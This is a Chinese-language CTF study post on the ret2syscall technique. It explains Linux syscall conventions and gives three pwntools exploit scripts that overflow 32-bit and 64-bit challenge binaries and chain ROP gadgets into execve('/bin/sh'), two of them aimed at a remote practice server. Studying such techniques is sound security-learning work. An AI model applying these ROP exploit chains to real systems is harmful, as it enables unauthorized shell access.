Ret2syscall学习

原理

Ret2syscall,即控制程序执行系统调用,获取 shell。

主要还是要理解系统调用的原理:

系统调用

​ 既然是执行系统调用,在这里就大概记录一下Linux系统下的系统调用,Linux的系统调用通过int 80h来实现,用系统调用号来区分入口函数,操作系统实现系统调用的基本过程是:

  • 应用程序调用库函数(API);
  • API 将系统调用号存入 EAX,然后通过中断调用使系统进入内核态
  • 内核中的中断处理函数根据系统调用号,调用对应的内核函数(系统调用)
  • 系统调用完成相应功能,将返回值存入 EAX,返回到中断处理函数
  • 中断处理函数返回到 API 中
  • PI 将 EAX 返回给应用程序

应用程序调用系统调用的过程是:

  • 把系统调用的编号存入 EAX
  • 把函数参数存入其它通用寄存器
  • 最后 int 0x80

寄存器:

寄存器执行顺序
32位 eax->ebx->ecx->edx
64位 rdi->rsi->rdx->rcx->r8->r9

32位执行时

eax的参数为系统调用号 ebx指向/bin/sh的地址 ecx 参数为0 edx 参数也应该为0

即为execve("/bin/sh",NULL,NULL)

题目解析

  • 使用cyclic来测试溢出点

拖进32位IDA分析程序,看到有/bin/sh的gadgets,就使用execve

如果程序中不存在/bin/sh,就调用read函数将/bin/sh写入bss段,然后在使用execve

然后就开始通过ROPgadgets找各个寄存器和int 0x80 的地址

ROPgadget –binary ./rop –only ‘pop|ret’|grep ‘eax’

ROPgadget –binary ./rop –only ‘pop|ret’|grep ‘ebx’

ROPgadget –binary ./rop –only ‘int’

​ 写exp的思路是先将系统调用函数execve传入eax系统号是11,所以参数为0xb/bin/sh作为参数传给ebx ecx,edx的参数都为null。然后指向int 0x80地址

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

sh = process("./rop")

eax_addr = 0x080bb196
edx_ecx_ebx_addr = 0x0806eb90
bin_addr = 0x080be408
int_addr = 0x08049421

payload = 'a' * 112
payload += p32(eax_addr)
payload += p32(0xb)
payload += p32(edx_ecx_ebx_addr)
payload += p32(0)
payload += p32(0)
payload += p32(bin_addr)
payload += p32(int_addr)

sh.sendline(payload)
sh.interactive()

多系统函数调用

关于32位的系统函数调用号

介绍一下关于read()函数

read(int fd,void*buf,size_t count)

fd:是文件描述符,为0

buf:为读出数据的缓冲区

count:每次读取的字节数

ret2sys_32

​ 查看程序,发现没有/bin/sh所以我们要自己将/bin/sh写入bss数据段。

构造payload:

  1. 调用系统函数read(),上面介绍的有关于read的系统函数调用号,所以我们eax 要传入的参数为0x3
  2. 上面就read()函数也详细的介绍了一下。调用的过程就是在内存地址中读取之后用户输入/bin/sh先找到eax,ebx,ecx,edx以及int 0x80的地址
  3. eax参数为read()函数系统调用号0x3,在edx,ecx,ebx传入相对应的read()函数参数(使用命令readelf -S 文件名查看bss段地址)
  4. 调用完read()函数后,再次对eax ebx ecx edx进行填充,这次使用execve(),执行read()函数在内存地址中读取到的值,即/bin/sh\x00
  5. 发送payload,进行溢出。再次发送数据
  6. 要注意的是每次调用完系统函数后都需要加上int 0x80的地址

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#encoding:utf-8
from pwn import *

#sh = process('./ret2sys')
sh = remote('120.79.17.251',10005)

eax_addr = 0x080bb2c6
edx_ecx_ebx_addr = 0x0806ecb0
bss_addr = 0x080ea060
int_addr = 0x0806F350
#调用系统函数read
payload = 'a' * 44
payload += p32(eax_addr)
payload += p32(0x3)
payload += p32(edx_ecx_ebx_addr)
payload += p32(0x10)
payload += p32(bss_addr)
payload += p32(0)
payload += p32(int_addr)
#调用系统函数execve
payload += p32(eax_addr)
payload += p32(0xb)
payload += p32(edx_ecx_ebx_addr)
payload += p32(0)
payload += p32(0)
payload += p32(bss_addr)
payload += p32(int_addr)
#发送payload进行溢出
sh.sendline(payload)
#sleep(1)
sh.recvuntil('Nh..')
bin_sh = "/bin/sh\x00"
sh.sendline(bin_sh)
sh.interactive()

ret2sys_64

linux_64位函数调用号

关于64位函数调用号可以在w22师傅的博客上学习。

和32位的就不同之处

  • 使用寄存器不同

  • 返回函数名不同

    32位是int 0x80 64位是syscall retn

找到所需要的寄存器

然后找一个可用的bss段,还有sys retn的地址

bss地址:0X00000000006c2158 sys retn:0x000000000045bac5

然后构造exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *

#sh = process('./ret2sys_64')
sh = remote('120.79.17.251',10006)
pop_rax = 0x000000000046b9f8
pop_rdx_rsi = 0x00000000004377f9
pop_rdi = 0x00000000004016c3
bss = 0X00000000006c2158
sys_ret = 0x000000000045bac5

payload = 'a'*88
payload += p64(pop_rax)
payload += p64(0x0)
payload += p64(pop_rdx_rsi)
payload += p64(0x10)
payload += p64(bss)
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(sys_ret)

payload += p64(pop_rax)
payload += p64(0x3b)
payload += p64(pop_rdx_rsi)
payload += p64(0) + p64(0)
payload += p64(pop_rdi)
payload += p64(bss)
payload += p64(sys_ret)

sh.sendline(payload)
sh.recvuntil('Nh..\n')
bin_sh = '/bin/sh\x00'
sh.sendline(bin_sh)
sh.interactive()

偏有宸机 师傅的文章写的很好,受益匪浅 。例题均由宸机师傅提供。